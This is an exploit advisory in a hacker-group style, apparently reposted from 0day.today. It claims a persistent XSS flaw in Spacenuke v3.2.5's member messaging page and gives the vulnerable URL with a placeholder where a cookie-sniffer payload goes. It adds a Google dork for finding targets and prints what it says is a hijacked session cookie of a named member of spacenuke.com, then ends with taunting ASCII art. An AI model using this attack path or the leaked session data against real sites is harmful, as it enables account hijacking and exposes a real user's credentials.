Spacenuke v3.2.5 => Persistent XSS Exploiable Vulnerability

Spacenuke v3.2.5 => Persistent XSS Exploiable Vulnerability
-----------------------------------------------------------
                       I MEMBER FROM IN3CT0R TEAM.
                       1337 DAY ..
                       
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : [email protected]
[E-Mail] : [email protected]
[~] HomePage : http://h4x0resec.blogspot.com
[~] Reference : http://h4x0resec.blogspot.com
[~] Special Thanks : DaiMon, BARCOD3
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Spacenuke v3.2.5
|~Price : v3.2.5
|~Version : 1
|~Software: http://www.spacenuke.com
|~Vulnerability Style : Persistent XSS
Google Dork : Bu sitede Space nuke sistemi ücretli kullanýlmýþtýr
-----------------------------------------------------------
Demos
-----------------------------------------------------------
http://www.spacenuke.com
----------------------------------------

Exploitable.. 
NEED LOGGED COOKIE..
http://www.spacenuke.com/uye_mesaj.asp?pagem=MesajYaz&User_ID=1392&User=Admin[SNIFFER inject]

Hacked Cookie spacenuke.com member : mmertocan

ASPSESSIONIDSCBTSTBS=IAAGLNEAAENJBIDABHBIKPLB; strBodyWidth=1280; strBodyHeight=1024; __utma=194858223.414536492.1300828976.1300828976.1300828976.1; __utmb=194858223.31.10.1300828976; __utmc=194858223; __utmz=194858223.1300828976.1.1.utmcsr=aspindir.com|utmccn=(referral)|utmcmd=referral|utmcct=/yonlendir.asp

-------------------------------------------------------------

FOR EXPLOIT-DB LAMERS =)

............../'' )
...........,/¯../
........../..../
.../´¯/'...'/´¯¯`•¸
./'/.../..../......./¨¯ \
('(...´...´.... ¯~/'...' )
.\.................'..... /
..'\'...\.......... _.•´
....\..............(
.....\........ 

------------------------------------------------

                .__        _____        _______                 
                |  |__    /  |  |___  __\   _  \_______   ____  
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \ 
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/ 
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/ 
                         _____________________________  
                        /   _____/\_   _____/\_   ___ \ 
                        \_____  \  |    __)_ /    \  \/ 
                        /        \ |        \\     \____
                       /_______  //_______  / \______  /
                               \/         \/         \/ 
                    WAS HERE.
                    
                     Tayfa Yatar.




#  0day.today [2018-04-02]  #